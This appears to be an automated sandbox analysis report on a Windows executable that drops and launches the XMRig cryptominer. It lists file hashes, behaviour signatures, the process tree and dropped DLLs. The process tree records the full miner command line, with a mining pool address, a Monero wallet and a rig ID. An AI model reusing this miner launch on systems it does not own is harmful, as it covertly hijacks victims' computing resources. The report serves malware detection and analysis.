Analysis
-
max time kernel
1389s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
04-02-2023 18:18
General
-
Target
142712484.exe
-
Size
6.2MB
-
MD5
0252b6575abd58fac21130cd75fc42a0
-
SHA1
c59c04a7526a74b1dbc006d09af1ae0bf8a646de
-
SHA256
ea3eedc043d02375db791cd0d508259dede55a7cffa2f75f813d4e239aa5bf70
-
SHA512
97825284b85755ccf3fe31961e43f246c0b4436989c3c57c2c1cca84e23ea2bfc0c29d4c239363a78252550900e31f04f5052abe34a2c2dd92fca0dd0fcf9988
-
SSDEEP
196608:L//dQmRrdA6lXCy1ArqkVpKCX+PrF4ZIegh1fJn9eny:D/dQOlXrAZYCuPJOIegjfJnx
Malware Config
Signatures
-
XMRig Miner payload 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exe xmrig -
Executes dropped EXE 1 IoCs
Processes:
xmrig.exepid process 1760 xmrig.exe -
Loads dropped DLL 13 IoCs
Processes:
142712484.exepid process 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe 2696 142712484.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 648 -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
xmrig.exedescription pid process Token: SeLockMemoryPrivilege 1760 xmrig.exe Token: SeLockMemoryPrivilege 1760 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 1760 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
142712484.exe142712484.execmd.exedescription pid process target process PID 616 wrote to memory of 2696 616 142712484.exe 142712484.exe PID 616 wrote to memory of 2696 616 142712484.exe 142712484.exe PID 2696 wrote to memory of 4192 2696 142712484.exe cmd.exe PID 2696 wrote to memory of 4192 2696 142712484.exe cmd.exe PID 4192 wrote to memory of 1760 4192 cmd.exe xmrig.exe PID 4192 wrote to memory of 1760 4192 cmd.exe xmrig.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\142712484.exe"C:\Users\Admin\AppData\Local\Temp\142712484.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\142712484.exe"C:\Users\Admin\AppData\Local\Temp\142712484.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c xmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_9817 -p x3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exexmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_9817 -p x4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\VCRUNTIME140.dllFilesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\VCRUNTIME140.dllFilesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_bz2.pydFilesize
81KB
MD523dce6cd4be213f8374bf52e67a15c91
SHA1dfc1139d702475904326cb60699fec09de645009
SHA256190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
SHA512c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_bz2.pydFilesize
81KB
MD523dce6cd4be213f8374bf52e67a15c91
SHA1dfc1139d702475904326cb60699fec09de645009
SHA256190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
SHA512c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_hashlib.pydFilesize
60KB
MD5477dd76dbb15bad8d77b978ea336f014
SHA13ee56105b71c3676c2e4fdaeb7d561f68cf03b9e
SHA25623063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
SHA5123a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_hashlib.pydFilesize
60KB
MD5477dd76dbb15bad8d77b978ea336f014
SHA13ee56105b71c3676c2e4fdaeb7d561f68cf03b9e
SHA25623063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
SHA5123a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_lzma.pydFilesize
154KB
MD5401eca12e2beb9c2fbf4a0d871c1c500
SHA17cfc2f94ade6712dd993186041e54917a3dd15ae
SHA2565361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
SHA512da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_lzma.pydFilesize
154KB
MD5401eca12e2beb9c2fbf4a0d871c1c500
SHA17cfc2f94ade6712dd993186041e54917a3dd15ae
SHA2565361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
SHA512da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_queue.pydFilesize
29KB
MD58eabd51d536276f3b3257ee975e50bfc
SHA11a13f707b29b895647a7de254031a6c80eb2cb7a
SHA25624c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
SHA512cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_queue.pydFilesize
29KB
MD58eabd51d536276f3b3257ee975e50bfc
SHA11a13f707b29b895647a7de254031a6c80eb2cb7a
SHA25624c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
SHA512cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_socket.pydFilesize
75KB
MD54ceb5b09b8e7dc208c45c6ac11f13335
SHA14dde8f5aa30bd86f17a04e09a792a769feb12010
SHA25671f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
SHA512858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_socket.pydFilesize
75KB
MD54ceb5b09b8e7dc208c45c6ac11f13335
SHA14dde8f5aa30bd86f17a04e09a792a769feb12010
SHA25671f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
SHA512858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_ssl.pydFilesize
155KB
MD5dcb25c920292192dd89821526c09a806
SHA179c9af3a11b41d94728f274b45a7c61dc8bbf267
SHA2564e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
SHA512ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\_ssl.pydFilesize
155KB
MD5dcb25c920292192dd89821526c09a806
SHA179c9af3a11b41d94728f274b45a7c61dc8bbf267
SHA2564e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
SHA512ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\base_library.zipFilesize
1.0MB
MD55fc720be446fa2effe5a45f7cc90e4e8
SHA1de5488c15c0d2c74a37d1313e4c003e8476acbfb
SHA256d6c62ef7c13ccef351473496cfeba6cfeebef91385f27b35f895169938df682f
SHA51284171a350b677b7e0c50370174f39c104027bc34ca2dcf4687d8a397293c1a0c06429c7423c600a5daabc1515a58d56b71d7528dc5d1864aa90b861dbcfeb2f5
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\certifi\cacert.pemFilesize
278KB
MD5b18e918767d99291f8771414b76a8e65
SHA1ea544791b23e4a8f47ace99b9d08b3609d511293
SHA256a59fde883a0ef9d74ab9dad009689e00173d28595b57416c98b2ee83280c6e4c
SHA51278a4eac65754fb8d37c1da85534d6e1dd0eb2b3535ef59d75c34a91d716afc94258599b1078c03a4b81e142945b13e671ec46b5f2fcb8c8c46150ae7506e0d8d
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\libcrypto-1_1.dllFilesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\libcrypto-1_1.dllFilesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\libcrypto-1_1.dllFilesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\libssl-1_1.dllFilesize
686KB
MD58769adafca3a6fc6ef26f01fd31afa84
SHA138baef74bdd2e941ccd321f91bfd49dacc6a3cb6
SHA2562aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
SHA512fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\libssl-1_1.dllFilesize
686KB
MD58769adafca3a6fc6ef26f01fd31afa84
SHA138baef74bdd2e941ccd321f91bfd49dacc6a3cb6
SHA2562aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
SHA512fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\python310.dllFilesize
4.3MB
MD554f8267c6c116d7240f8e8cd3b241cd9
SHA1907b965b6ce502dad59cde70e486eb28c5517b42
SHA256c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
SHA512f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\python310.dllFilesize
4.3MB
MD554f8267c6c116d7240f8e8cd3b241cd9
SHA1907b965b6ce502dad59cde70e486eb28c5517b42
SHA256c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
SHA512f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\select.pydFilesize
28KB
MD5a7863648b3839bfe2d5f7c450b108545
SHA110078d8edb2c46a2e74ec7680d2db293acc5731c
SHA2568b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
SHA512a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\select.pydFilesize
28KB
MD5a7863648b3839bfe2d5f7c450b108545
SHA110078d8edb2c46a2e74ec7680d2db293acc5731c
SHA2568b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
SHA512a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\unicodedata.pydFilesize
1.1MB
MD5cf1eda3f804dfa64ac00cad29ab243e1
SHA13b0f08fa679227fa635490725e17460a9de8092d
SHA256a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
SHA5121ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97
-
C:\Users\Admin\AppData\Local\Temp\_MEI6162\unicodedata.pydFilesize
1.1MB
MD5cf1eda3f804dfa64ac00cad29ab243e1
SHA13b0f08fa679227fa635490725e17460a9de8092d
SHA256a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
SHA5121ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exeFilesize
7.8MB
MD56f4532e49d65c2be0355b222f96e06e8
SHA1268e90ce25e01bbb205f6ae3f493f8da36a61480
SHA256acaf8e844ef7f4f65033ebe9546c394cc21bce175dac8b59199106309f04e5ab
SHA51285f495b0bbd0673df376f44e912f9a0a8d201c2843f1a9efa64d93703a2d8ba2b6fa2638a747e79604715d26ddfc07de26ba43d03adf86290d928b442bf09207
-
memory/1760-161-0x0000000000000000-mapping.dmp
-
memory/1760-163-0x0000021337C70000-0x0000021337C90000-memory.dmpFilesize
128KB
-
memory/1760-164-0x0000021339660000-0x00000213396A0000-memory.dmpFilesize
256KB
-
memory/1760-165-0x00000213396C0000-0x00000213396E0000-memory.dmpFilesize
128KB
-
memory/1760-166-0x00000213396A0000-0x00000213396C0000-memory.dmpFilesize
128KB
-
memory/1760-167-0x00000213396C0000-0x00000213396E0000-memory.dmpFilesize
128KB
-
memory/1760-168-0x00000213396A0000-0x00000213396C0000-memory.dmpFilesize
128KB
-
memory/2696-132-0x0000000000000000-mapping.dmp
-
memory/4192-160-0x0000000000000000-mapping.dmp